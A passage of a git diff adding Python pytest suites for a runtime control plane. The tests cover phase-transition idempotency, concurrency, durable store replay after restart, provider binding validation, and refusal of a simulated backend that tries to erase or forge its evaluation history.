crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=store, + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + action_behavior = behavior() + action_request = admission_request() + action_identity = identity() + action_evidence = evidence() + with pytest.raises(RuntimeError, match="composition commit failure"): + plane.admit_participant_action( + action_behavior, + action_request, + identity=action_identity, + crossing_evidence=action_evidence, + idempotency_key="failed-decision-commit", + ) + + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert [event["event_kind"] for event in store.load_snapshot().mixed_composition_history[run_id]] == [ + "phase-activated", + "lifecycle-decision", + "lifecycle-attempt", + "lifecycle-result", + ] + + +def test_failed_lifecycle_cut_commit_invokes_no_component() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_profile) + store = _FailingSecondCompositionCommitStore() + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=store, + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + lifecycle_identity = identity() + with pytest.raises(RuntimeError, match="composition commit failure"): + plane.initialize_participant_episode( + PARTICIPANT, + episode_id="episode-1", + identity=lifecycle_identity, + ) + + assert all(runtime.initialize_count == 0 for runtime in runtimes.values()) + assert [event["event_kind"] for event in store.load_snapshot().mixed_composition_history[run_id]] == [ + "phase-activated" + ] + + +def test_unsupported_admitted_capability_invokes_no_component_and_publishes_no_delivery() -> None: + binding, run_id, runtimes = _admitted_binding(_runtime_unsupported_profile) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + receipt = plane.admit_participant_action( + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="unsupported-action", + ) + + assert receipt.accepted + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + assert [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] == [ + "phase-activated", + "lifecycle-decision", + "lifecycle-attempt", + "lifecycle-result", + ] + decision = plane.snapshot.participant_crossing_history[PARTICIPANT][-1]["occurrence"] + assert decision["disposition"] == "unsupported" + assert decision["gates"]["backend_support"] == "unsupported" + + +def test_staged_phase_progression_is_bounded_append_only_and_idempotent() -> None: + evaluations = [] + + def evaluate(transition, state, _snapshot): + evaluations.append((transition.transition_id, state.phase_revision)) + return MixedPhaseTransitionEvaluation( + permitted=True, + attempts=transition.progress_bound, + order_ref="order:transition:7", + evidence_refs=tuple(item.evidence_ref for item in transition.evidence_bindings), + provenance_refs=("provenance:trusted-evaluator",), + ) + + binding, run_id, runtimes = _admitted_binding(_runtime_staged_profile, evaluate) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(binding), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", + identity=identity(), + idempotency_key="advance-once", + ) + + state = plane.snapshot.mixed_composition_states[run_id] + assert state["phase_id"] == "phase.emu" + assert state["phase_revision"] == 1 + assert evaluations == [("transition.sim-to-emu", 0)] + assert [event["event_kind"] for event in plane.snapshot.mixed_composition_history[run_id]] == [ + "phase-activated", + "lifecycle-decision", + "lifecycle-attempt", + "lifecycle-result", + "phase-transition", + "handoff", + ] + replay = plane.advance_mixed_composition( + "transition.sim-to-emu", + identity=identity(), + idempotency_key="advance-once", + ) + assert replay.operation_id == receipt.operation_id + assert evaluations == [("transition.sim-to-emu", 0)] + stale_identity = identity() + with pytest.raises(RuntimeError): + plane.advance_mixed_composition( + "transition.sim-to-emu", + identity=stale_identity, + idempotency_key="stale-transition", + ) + inactive_behavior = behavior() + inactive_request = admission_request() + inactive_identity = identity() + inactive_evidence = evidence() + with pytest.raises(ValueError, match="active .* allocation"): + plane.admit_participant_action( + inactive_behavior, + inactive_request, + identity=inactive_identity, + crossing_evidence=inactive_evidence, + idempotency_key="inactive-action", + ) + assert all(runtime.admission_count == 0 for runtime in runtimes.values()) + + +def test_phase_progression_rejects_an_outstanding_mixed_effect() -> None: + evaluations = [] + + def evaluate(transition, state, _snapshot): + evaluations.append((transition.transition_id, state.phase_revision)) + return MixedPhaseTransitionEvaluation( + permitted=True, + attempts=1, + order_ref="order:blocked-transition", + evidence_refs=tuple(item.evidence_ref for item in transition.evidence_bindings), + ) + + binding, run_id, runtimes = _admitted_binding(_runtime_staged_profile, evaluate) + first = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(binding), + ) + first.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + first.initialize_participant_episode(PARTICIPANT, episode_id="episode-1", identity=identity()) + second = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=first._store, + ) + started = Event() + release = Event() + runtimes["sim"].action_started = started + runtimes["sim"].action_release = release + + with ThreadPoolExecutor(max_workers=1) as pool: + future = pool.submit( + first.admit_participant_action, + behavior(), + admission_request(), + identity=identity(), + crossing_evidence=evidence(), + idempotency_key="outstanding-action", + ) + assert started.wait(timeout=5) + try: + blocked_identity = identity() + with pytest.raises(RuntimeError): + second.advance_mixed_composition( + "transition.sim-to-emu", + identity=blocked_identity, + idempotency_key="blocked-advance", + ) + assert evaluations == [] + assert second.snapshot.mixed_composition_states[run_id]["phase_id"] == "phase.sim" + finally: + release.set() + receipt = future.result(timeout=5) + + status = first.get_operation(receipt.operation_id, identity=identity()) + assert status is not None + assert status.state.value == "succeeded" + + +def test_transition_evaluator_failure_is_sanitized_and_records_failure_fact() -> None: + def fail_with_sensitive_detail(*_args): + raise RuntimeError("private evaluator internals") + + binding, run_id, _ = _admitted_binding(_runtime_staged_profile, fail_with_sensitive_detail) + plane = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(binding), + ) + plane.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + + receipt = plane.advance_mixed_composition( + "transition.sim-to-emu", + identity=identity(), + idempotency_key="failed-transition", + ) + + state = plane.snapshot.mixed_composition_states[run_id] + assert state["phase_id"] == "phase.sim" + assert state["phase_revision"] == 0 + assert plane.snapshot.mixed_composition_history[run_id][-1]["event_kind"] == "failure" + status = plane.get_operation(receipt.operation_id, identity=identity()) + assert status is not None + assert status.state.value == "failed" + assert "private evaluator internals" not in repr(status.diagnostics) + + +def test_concurrent_phase_progression_commits_one_cas_winner() -> None: + started = Event() + release = Event() + + def evaluate(transition, _state, _snapshot): + started.set() + assert release.wait(timeout=5) + return MixedPhaseTransitionEvaluation( + permitted=True, + attempts=1, + order_ref="order:concurrent-transition", + evidence_refs=tuple(item.evidence_ref for item in transition.evidence_bindings), + ) + + binding, run_id, _ = _admitted_binding(_runtime_staged_profile, evaluate) + first = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + initial_snapshot=_staged_time_snapshot(binding), + ) + first.activate_mixed_composition(identity=identity(), idempotency_key="initial-phase") + second = RuntimeControlPlane( + create_stub_target(with_participant_runtime=False), + mixed_runtime=binding, + crossing_policy_resolver=permit_resolver(), + run_scope=f"run:{run_id}", + store=first._store, + ) + + with ThreadPoolExecutor(max_workers=1) as pool: + future = pool.submit( + first.advance_mixed_composition, + "transition.sim-to-emu", + identity=identity(), + idempotency_key="advance-a", + ) + assert started.wait(timeout=5) + try: + actor = identity() + with pytest.raises(NewClaimRejected): + second.advance_mixed_composition( + "transition.sim-to-emu", + identity=actor, + idempotency_key="advance-b", + ) + finally: + release.set() + future.result(timeout=5) + + snapshot = first._store.load_snapshot() + assert snapshot.mixed_composition_states[run_id]["phase_revision"] == 1 + assert [event["event_kind"] for event in snapshot.mixed_composition_history[run_id]].count("phase-transition") == 1 diff --git a/implementations/python/tests/test_issue_1069_control_evaluation_authority.py b/implementations/python/tests/test_issue_1069_control_evaluation_authority.py new file mode 100644 index 000000000..0d4b4d70f --- /dev/null +++ b/implementations/python/tests/test_issue_1069_control_evaluation_authority.py @@ -0,0 +1,148 @@ +"""Issue #1069 security review: the evaluation history is runtime-owned. + +A participant backend returns its own snapshot from an ordinary action apply. +That result may carry the committed API-424 evaluation history forward, and +nothing else: erasing a committed evaluation would silently suppress a +requested supervisory effect, and forging a realization would make the runtime +skip dispatching one. Both are refused on every apply path. +""" + +from __future__ import annotations + +from dataclasses import replace + +import pytest +from participant_control_contract_fixtures import evaluation_payload +from participant_control_runtime_fixtures import control_binding +from participant_crossing_fixtures import ( + PARTICIPANT, + StaticCrossingResolver, + action_plane, + admit, + policy_capable_target, +) +from raes_contracts.runtime_state import OperationState + +_CARRIER = "participant_control_evaluation_history" + + +def _target(): + return policy_capable_target("participant_ingress_admission", "participant_modular_control") + + +def _plane(target=None): + return action_plane( + StaticCrossingResolver(), + target=target or _target(), + participant_control=control_binding(), + ) + + +def _evaluations(plane) -> list[dict]: + return list(plane.snapshot.participant_control_evaluation_history.get(PARTICIPANT, ())) + + +def _hostile_backend(target, transform) -> None: + """Rewrite the evaluation history in every snapshot the backend returns.""" + + runtime = target.participant_runtime + original = runtime.admit_action + + def tampered(*args: object, **kwargs: object): + result = original(*args, **kwargs) + snapshot = result.snapshot + return replace( + result, + snapshot=snapshot.with_entries( + dict(snapshot.entries), + **{_CARRIER: transform(snapshot.participant_control_evaluation_history)}, + ), + ) + + runtime.admit_action = tampered # type: ignore[method-assign] + + +def test_the_carrier_is_runtime_owned_not_participant_owned(): + from raes_runtime.backend_snapshot_contracts import SNAPSHOT_CARRIER_OWNERS + + assert SNAPSHOT_CARRIER_OWNERS[_CARRIER] == "runtime" + + +def test_a_backend_result_cannot_erase_a_committed_evaluation(): + target = _target() + _hostile_backend(target, lambda _history: {}) + plane = _plane(target) + + receipt = admit(plane, idempotency_key="hostile-erase") + + status = plane.get_operation(receipt.operation_id) + assert status is not None + assert status.state is OperationState.FAILED + assert _evaluations(plane) # the committed evaluation survives the refusal + + +def test_a_backend_result_cannot_forge_an_applied_realization(): + def forge(history): + records = list(history.get(PARTICIPANT, ())) + forged = { + **evaluation_payload(), + "evaluation_id": "forged-realization", + "realizations": [ + { + "effect_id": "effect-1", + "disposition": "applied", + "receipt": { + "kind": "receipt", + "ref": "forged-receipt", + "revision": "rev1", + "digest": "sha256:" + "b" * 64, + }, + "evidence": [ + { + "kind": "evidence", + "ref": "forged-evidence", + "revision": "rev1", + "digest": "sha256:" + "b" * 64, + } + ], + } + ], + } + return {PARTICIPANT: [*records, forged]} + + target = _target() + _hostile_backend(target, forge) + plane = _plane(target) + + receipt = admit(plane, idempotency_key="hostile-forge") + + status = plane.get_operation(receipt.operation_id) + assert status is not None + assert status.state is OperationState.FAILED + assert [record["evaluation_id"] for record in _evaluations(plane)] != ["forged-realization"] + assert all(record["realizations"] == [] for record in _evaluations(plane)) + + +@pytest.mark.parametrize( + "before,after", + [ + ({PARTICIPANT: [evaluation_payload()]}, {}), + ({PARTICIPANT: [evaluation_payload()]}, {PARTICIPANT: []}), + ({}, {PARTICIPANT: [evaluation_payload()]}), + ], +) +def test_the_transition_guard_refuses_every_backend_rewrite(before, after): + from raes_contracts.participant_control_evaluation_history import ( + iter_participant_control_evaluation_transition_violations, + ) + + assert list(iter_participant_control_evaluation_transition_violations(before, after)) + + +def test_the_transition_guard_accepts_an_unchanged_history(): + from raes_contracts.participant_control_evaluation_history import ( + iter_participant_control_evaluation_transition_violations, + ) + + retained = {PARTICIPANT: [evaluation_payload()]} + assert list(iter_participant_control_evaluation_transition_violations(retained, dict(retained))) == [] diff --git a/implementations/python/tests/test_issue_1069_control_evaluation_carrier.py b/implementations/python/tests/test_issue_1069_control_evaluation_carrier.py new file mode 100644 index 000000000..d717dcb6b --- /dev/null +++ b/implementations/python/tests/test_issue_1069_control_evaluation_carrier.py @@ -0,0 +1,114 @@ +"""The modular evaluation history is a first-class append-only snapshot carrier. + +Authority lives in the runtime snapshot the ADR-104 store commits, never in +metadata, audit details, an operation result payload, or a second journal. +""" + +import pytest +from participant_control_contract_fixtures import evaluation_payload +from raes_contracts.runtime_state import RuntimeSnapshot + +PARTICIPANT = "participants.student" + + +def _evaluation(**changes: object) -> dict: + return {**evaluation_payload(), **changes} + + +def test_snapshot_carries_participant_control_evaluation_history(): + snapshot = RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [_evaluation()]}) + assert snapshot.participant_control_evaluation_history[PARTICIPANT][0]["evaluation_id"] == "evaluation-1" + + +def test_carrier_is_runtime_owned_not_backend_writable(): + from raes_runtime.backend_snapshot_contracts import SNAPSHOT_CARRIER_OWNERS + + assert SNAPSHOT_CARRIER_OWNERS["participant_control_evaluation_history"] == "runtime" + + +def test_with_entries_accepts_and_preserves_the_new_carrier(): + snapshot = RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [_evaluation()]}) + extended = snapshot.with_entries( + dict(snapshot.entries), + participant_control_evaluation_history={ + PARTICIPANT: [ + *snapshot.participant_control_evaluation_history[PARTICIPANT], + _evaluation(evaluation_id="evaluation-2"), + ] + }, + ) + assert len(extended.participant_control_evaluation_history[PARTICIPANT]) == 2 + untouched = snapshot.with_entries(dict(snapshot.entries)) + assert untouched.participant_control_evaluation_history == snapshot.participant_control_evaluation_history + + +def test_history_key_must_equal_the_embedded_participant_address(): + history = {"participants.other": [_evaluation()]} + with pytest.raises(ValueError, match="participant control evaluation"): + RuntimeSnapshot(participant_control_evaluation_history=history) + + +def test_history_rejects_a_record_that_is_not_a_published_evaluation(): + with pytest.raises(ValueError, match="participant control evaluation"): + RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [{"evaluation_id": "broken"}]}) + + +def test_history_rejects_a_duplicate_evaluation_identity(): + history = {PARTICIPANT: [_evaluation(), _evaluation()]} + with pytest.raises(ValueError, match="participant control evaluation"): + RuntimeSnapshot(participant_control_evaluation_history=history) + + +def test_history_head_resolves_for_the_expected_state_cut(): + from raes_runtime.control_plane_store_history import participant_history_head + + snapshot = RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [_evaluation()]}) + head = participant_history_head(snapshot, f"participant_control_evaluation_history:{PARTICIPANT}") + assert head == "evaluation-1" + + +def test_expected_history_heads_bind_the_evaluation_carrier(): + from raes_runtime.participant_crossing_state_cut import expected_participant_history_heads + + snapshot = RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [_evaluation()]}) + heads = expected_participant_history_heads(snapshot, PARTICIPANT) + assert heads[f"participant_control_evaluation_history:{PARTICIPANT}"] == "evaluation-1" + + +def test_store_round_trip_preserves_the_exact_history(tmp_path): + from raes_runtime.control_plane_store_local import LocalControlPlaneStore + from raes_runtime.control_plane_store_snapshots import _snapshot_from_payload, _snapshot_payload + + snapshot = RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [_evaluation()]}) + restored = _snapshot_from_payload(_snapshot_payload(snapshot)) + assert restored.participant_control_evaluation_history == snapshot.participant_control_evaluation_history + assert LocalControlPlaneStore is not None + + +@pytest.mark.parametrize("length", [16, 200, 224]) +def test_api_424_head_references_stay_inside_the_control_ref_bound(length: int): + """A long admitted participant coordinate must still yield valid ControlRefs.""" + + from pydantic import TypeAdapter + from raes_contracts.contracts.participant_control_coordinates import ControlRef + from raes_runtime.participant_crossing_state_cut import control_history_head_refs + + address = "participants." + "a" * (length - len("participants.")) + refs = control_history_head_refs(RuntimeSnapshot(), address) + + adapter = TypeAdapter(ControlRef) + for ref in refs: + assert adapter.validate_python(ref) == ref + assert len(refs) == len(set(refs)) + + +def test_api_424_head_references_change_with_the_head_they_name(): + from raes_runtime.participant_crossing_state_cut import control_history_head_refs + + empty = control_history_head_refs(RuntimeSnapshot(), PARTICIPANT) + populated = control_history_head_refs( + RuntimeSnapshot(participant_control_evaluation_history={PARTICIPANT: [_evaluation()]}), + PARTICIPANT, + ) + assert empty != populated + assert control_history_head_refs(RuntimeSnapshot(), "participants.other") != empty diff --git a/implementations/python/tests/test_issue_1069_participant_control_binding.py b/implementations/python/tests/test_issue_1069_participant_control_binding.py new file mode 100644 index 000000000..c5496ff2a --- /dev/null +++ b/implementations/python/tests/test_issue_1069_participant_control_binding.py @@ -0,0 +1,104 @@ +"""RUN-320 binds admitted selections to exact operator-created providers. + +The binding is the only provider seam. It accepts already-constructed instances +and never discovers, imports, or names executable code. +""" + +import pytest +from participant_control_contract_fixtures import evaluation_payload +from participant_control_runtime_fixtures import ( + INSTANCE, + MONITOR, + SyntheticControlProvider, + SyntheticControlResolver, + advisory_monitor_payload, + control_binding, +) +from raes_contracts.contracts.participant_control_selection import ParticipantControlSelectionModel +from raes_runtime.participant_control_binding import ParticipantControlRuntimeBinding + + +def _selection(payload=None): + return ParticipantControlSelectionModel.model_validate((payload or evaluation_payload())["request"]["selection"]) + + +def _resolver(payload=None): + return SyntheticControlResolver(payload=payload or evaluation_payload()) + + +def test_binding_accepts_the_admitted_selection_and_its_exact_providers(): + binding = control_binding() + assert set(binding.providers) == {INSTANCE} + assert binding.selection.semantic_revision == "sem-235/rev1" + + +def test_binding_rejects_a_provider_set_that_differs_from_the_selection(): + selection, resolver = _selection(), _resolver() + providers = {"unselected": SyntheticControlProvider(instance_id="unselected")} + with pytest.raises(ValueError, match="participant control providers"): + ParticipantControlRuntimeBinding(selection=selection, providers=providers, resolver=resolver) + + +def test_binding_rejects_a_missing_provider_for_a_selected_instance(): + payload = advisory_monitor_payload() + selection, resolver = _selection(payload), _resolver(payload) + providers = {INSTANCE: SyntheticControlProvider()} + with pytest.raises(ValueError, match="participant control providers"): + ParticipantControlRuntimeBinding(selection=selection, providers=providers, resolver=resolver) + + +def test_binding_rejects_a_provider_without_the_published_protocol_method(): + selection, resolver = _selection(), _resolver() + with pytest.raises(TypeError, match="participant control provider"): + ParticipantControlRuntimeBinding(selection=selection, providers={INSTANCE: object()}, resolver=resolver) + + +def test_binding_rejects_a_resolver_without_the_declared_runtime_protocol(): + selection, providers = _selection(), {INSTANCE: SyntheticControlProvider()} + with pytest.raises(TypeError, match="participant control resolver"): + ParticipantControlRuntimeBinding(selection=selection, providers=providers, resolver=object()) + + +def test_binding_rejects_a_resolver_that_leaves_the_effect_owner_hook_undeclared(): + """Every resolver member is declared at binding, never discovered per effect.""" + + class _WithoutEffectOwner: + def resolve(self, **coordinates: object) -> None: + return None + + def validation_context(self, evaluation: object) -> None: + return None + + selection, providers = _selection(), {INSTANCE: SyntheticControlProvider()} + resolver = _WithoutEffectOwner() + with pytest.raises(TypeError, match="participant control resolver"): + ParticipantControlRuntimeBinding(selection=selection, providers=providers, resolver=resolver) + + +def test_binding_freezes_its_provider_map_against_later_mutation(): + binding = control_binding() + late = SyntheticControlProvider(instance_id="late") + with pytest.raises(TypeError): + binding.providers["late"] = late + + +def test_binding_revalidates_a_selection_mutated_past_its_validators(): + """``model_copy`` skips validation; the binding rebuilds from the projection.""" + + model = _selection() + mutated = model.model_copy( + update={ + "bindings": (model.bindings[0].model_copy(update={"protocol_revision": "participant-control-provider/v2"}),) + } + ) + assert mutated.bindings[0].protocol_revision == "participant-control-provider/v2" + providers, resolver = {INSTANCE: SyntheticControlProvider()}, _resolver() + with pytest.raises(ValueError, match="protocol_revision"): + ParticipantControlRuntimeBinding(selection=mutated, providers=providers, resolver=resolver) + + +def test_two_mechanisms_bind_two_published_profiles(): + binding = control_binding(advisory_monitor_payload()) + assert set(binding.providers) == {INSTANCE, MONITOR} + profiles = {profile.ref for item in binding.selection.bindings for profile in item.profiles} + assert profiles == {"teaching-influence", "participant-boundary-flow-policy-v1"} diff --git a/implementations/python/tests/test_issue_1069_participant_control_durability.py b/implementations/python/tests/test_issue_1069_participant_control_durability.py new file mode 100644 index 000000000..a6c5c9e9f --- /dev/null +++ b/implementations/python/tests/test_issue_1069_participant_control_durability.py @@ -0,0 +1,413 @@ +"""Issue #1069 durability, replay and concurrency for composed control state. + +Both supported stores preserve the exact contribution, composition and effect +history within their own supported lifetimes: the durable local (P1) store +carries it across a restart with retained deduplication, while the in-memory +(P0) store discards it with the process, exactly as API-404 declares. +""" + +from __future__ import annotations + +from pathlib import Path + +import pytest +from participant_control_runtime_fixtures import control_binding +from participant_crossing_fixtures import ( + PARTICIPANT, + StaticCrossingResolver, + action_plane, + admit, + policy_capable_target, +) +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_store import InMemoryControlPlaneStore, LocalControlPlaneStore + +_CARRIER = "participant_control_evaluation_history" + + +def _target(): + return policy_capable_target("participant_ingress_admission", "participant_modular_control") + + +def _plane(*, store=None, binding=None, resolver=None): + return action_plane( + resolver or StaticCrossingResolver(), + target=_target(), + store=store, + participant_control=binding or control_binding(), + ) + + +def _evaluations(plane) -> list[dict]: + return list(plane.snapshot.participant_control_evaluation_history.get(PARTICIPANT, ())) + + +@pytest.mark.parametrize( + "make_store", [lambda _p: InMemoryControlPlaneStore(), lambda p: LocalControlPlaneStore(p / "cp")] +) +def test_both_stores_preserve_the_exact_composition_history(make_store, tmp_path: Path): + plane = _plane(store=make_store(tmp_path / "compose")) + + admit(plane, idempotency_key="durable-compose") + + evaluations = _evaluations(plane) + assert len(evaluations) == 1 + assert evaluations[0]["composition"]["disposition"] == "eligible" + assert [result["slot_id"] for result in evaluations[0]["results"]] == ["fact", "rule"] + + +def test_a_local_store_restart_replays_the_exact_history(tmp_path: Path): + store_path = tmp_path / "control-plane" + # The same trusted resolver is re-supplied after restart, as an operator + # re-admitting the run would do; restart revalidates the retained history. + resolver = StaticCrossingResolver() + first = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver) + admit(first, idempotency_key="durable-restart") + committed = _evaluations(first) + crossings = dict(first.snapshot.participant_crossing_history) + first.close() + + second = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver) + + assert _evaluations(second) == committed + assert dict(second.snapshot.participant_crossing_history) == crossings + + +def test_a_restarted_local_store_retains_its_idempotent_claim(tmp_path: Path): + store_path = tmp_path / "control-plane" + resolver = StaticCrossingResolver() + first = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver) + receipt = admit(first, idempotency_key="durable-replay") + first.close() + + second = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver) + replayed = admit(second, idempotency_key="durable-replay") + + assert replayed.operation_id == receipt.operation_id + assert len(_evaluations(second)) == 1 + + +def test_an_in_memory_store_claims_nothing_beyond_its_process_lifetime(tmp_path: Path): + """P0 keeps no durable state, so a fresh plane starts with no history.""" + + first = _plane(store=InMemoryControlPlaneStore()) + admit(first, idempotency_key="ephemeral") + assert len(_evaluations(first)) == 1 + + second = _plane(store=InMemoryControlPlaneStore()) + + assert _evaluations(second) == [] + + +def test_a_second_concurrent_owner_cannot_write_the_committed_history(tmp_path: Path): + """One durable owner at a time: a rival owner is refused, not merged.""" + + store_path = tmp_path / "cp" + owner = _plane(store=LocalControlPlaneStore(store_path)) + admit(owner, idempotency_key="sole-owner") + + second_store = LocalControlPlaneStore(store_path) + with pytest.raises(RuntimeError, match="already has a runtime owner"): + _plane(store=second_store) + + assert len(_evaluations(owner)) == 1 + + +def test_a_stale_expected_head_refuses_a_second_commit(tmp_path: Path): + """The evaluation carrier joins the expected-head cut the store enforces.""" + + from raes_runtime.control_plane_store_history import require_expected_history_heads + + plane = _plane(store=LocalControlPlaneStore(tmp_path / "cp")) + stale_heads = {f"{_CARRIER}:{PARTICIPANT}": None} + admit(plane, idempotency_key="stale-head") + + with pytest.raises(ValueError, match="history head"): + require_expected_history_heads(plane.snapshot, stale_heads) + + +def test_a_second_evaluation_cannot_re_spend_a_consumed_root_budget(tmp_path: Path): + """PC-12 budgets are durable: an under-declared context is refused.""" + + from participant_control_runtime_fixtures import ForgetfulConsumptionResolver + + plane = _plane(store=LocalControlPlaneStore(tmp_path / "cp")) + admit(plane, idempotency_key="budget-first") + assert _evaluations(plane)[0]["composition"]["disposition"] == "eligible" + + binding = plane._participant_control + forgetful = ForgetfulConsumptionResolver(payload=binding.resolver.payload, providers=binding.resolver.providers) + object.__setattr__(binding, "resolver", forgetful) + receipt = admit(plane, idempotency_key="budget-second") + + # The under-declared context is refused before composition, so no second + # evaluation is recorded and the operation fails closed. + assert len(_evaluations(plane)) == 1 + assert plane.get_operation(receipt.operation_id).state.value == "failed" + assert plane.audit_log()[-1].details["control_disposition"] == "stale" + + +def test_the_causal_fold_reports_what_a_root_already_consumed(): + from participant_control_runtime_fixtures import control_binding as _binding + from raes_runtime.participant_control_causal_state import causal_state_from_history + + plane = _plane(binding=_binding()) + admit(plane, idempotency_key="budget-fold") + evaluation = _evaluations(plane)[0] + context = evaluation["request"]["context"] + + state = causal_state_from_history( + _evaluations(plane), + run_ref=context["run"]["ref"], + trigger_root=context["trigger_root"], + ) + + assert state.effects_consumed == 1 + assert set(state.firings) == {("hint-followup", "rev1")} + + +def test_a_root_that_resolved_no_effect_still_consumes_its_attempt(tmp_path: Path): + """PC-12 bounds the causal root, not one request. + + An evaluation spends an attempt whether or not it resolves an effect, so a + root cannot be re-resolved indefinitely by declaring ``attempt=1`` on each + fresh crossing. + """ + + from participant_control_runtime_fixtures import control_binding, fact_only_payload + + plane = _plane(store=LocalControlPlaneStore(tmp_path / "cp"), binding=control_binding(fact_only_payload())) + admit(plane, idempotency_key="attempt-first") + first = _evaluations(plane) + assert len(first) == 1 + assert first[0]["request"]["context"]["attempt"] == 1 + assert not [result for result in first[0]["results"] if result["payload"]["kind"] == "effect-request"] + + admit(plane, idempotency_key="attempt-second") + + # The second evaluation under this root declares a fresh attempt. + assert [item["request"]["context"]["attempt"] for item in _evaluations(plane)] == [1, 2] + + +def test_a_re_declared_attempt_is_refused_after_a_restart(tmp_path: Path): + """The retained attempt survives the process that observed it.""" + + from participant_control_runtime_fixtures import ForgetfulConsumptionResolver, control_binding + + store_path = tmp_path / "cp" + resolver = StaticCrossingResolver() + plane = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver) + admit(plane, idempotency_key="attempt-restart-first") + plane.close() + + restarted = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver, binding=control_binding()) + binding = restarted._participant_control + forgetful = ForgetfulConsumptionResolver(payload=binding.resolver.payload, providers=binding.resolver.providers) + object.__setattr__(binding, "resolver", forgetful) + receipt = admit(restarted, idempotency_key="attempt-restart-second") + + assert len(_evaluations(restarted)) == 1 + assert restarted.get_operation(receipt.operation_id).state.value == "failed" + + +def test_the_causal_fold_reports_the_attempts_a_root_already_spent(): + from participant_control_runtime_fixtures import control_binding as _binding + from raes_runtime.participant_control_causal_state import causal_state_from_history + + plane = _plane(binding=_binding()) + admit(plane, idempotency_key="attempt-fold") + evaluation = _evaluations(plane)[0] + context = evaluation["request"]["context"] + + state = causal_state_from_history( + _evaluations(plane), + run_ref=context["run"]["ref"], + trigger_root=context["trigger_root"], + ) + + assert state.attempts == context["attempt"] + assert state.next_attempt == context["attempt"] + 1 + + +def test_a_rejected_proposal_never_consumes_the_roots_effect_budget(tmp_path: Path): + """Contributor order cannot decide what a later context must retain. + + A conflicted composition admits nothing, so neither conflicting payload + becomes a retained claim — whichever order the contributors arrived in. + """ + + from participant_control_runtime_fixtures import conflicting_effect_payload, control_binding + from raes_runtime.participant_control_causal_state import causal_state_from_history + + folds = [] + for reverse in (False, True): + plane = _plane( + store=LocalControlPlaneStore(tmp_path / f"cp-{reverse}"), + binding=control_binding(conflicting_effect_payload()), + ) + for provider in plane._participant_control.resolver.providers: + provider.reverse = reverse + admit(plane, idempotency_key="conflict-budget") + evaluation = _evaluations(plane)[0] + assert evaluation["composition"]["disposition"] == "conflict" + context = evaluation["request"]["context"] + state = causal_state_from_history( + _evaluations(plane), + run_ref=context["run"]["ref"], + trigger_root=context["trigger_root"], + ) + folds.append((state.effects_consumed, sorted(state.firings))) + plane.close() + + # No claim either way, so the fold does not depend on arrival order. + assert folds[0] == folds[1] == (0, []) + + +def _downgrade_to_schema_5(store_path: Path) -> None: + """Rewrite a store as a pre-carrier build left it: schema 5, no carrier.""" + + import sqlite3 + + from raes_runtime.control_plane_store_local_codec import decode_payload, encode_payload + + connection = sqlite3.connect(store_path / "control-plane.sqlite3") + try: + encoded, digest = connection.execute( + "SELECT payload, digest FROM state WHERE key='runtime-snapshot'" + ).fetchone() + payload = decode_payload(encoded, digest, kind="runtime snapshot") + payload.pop(_CARRIER) + encoded, digest = encode_payload(payload) + connection.execute( + "UPDATE state SET payload=?, digest=? WHERE key='runtime-snapshot'", + (encoded, digest), + ) + connection.execute("UPDATE metadata SET value='5' WHERE key='schema-version'") + connection.commit() + finally: + connection.close() + + +def _stored_schema_and_carrier(store_path: Path) -> tuple[str, bool]: + import sqlite3 + + from raes_runtime.control_plane_store_local_codec import decode_payload + + connection = sqlite3.connect(store_path / "control-plane.sqlite3") + try: + (version,) = connection.execute("SELECT value FROM metadata WHERE key='schema-version'").fetchone() + encoded, digest = connection.execute( + "SELECT payload, digest FROM state WHERE key='runtime-snapshot'" + ).fetchone() + return version, 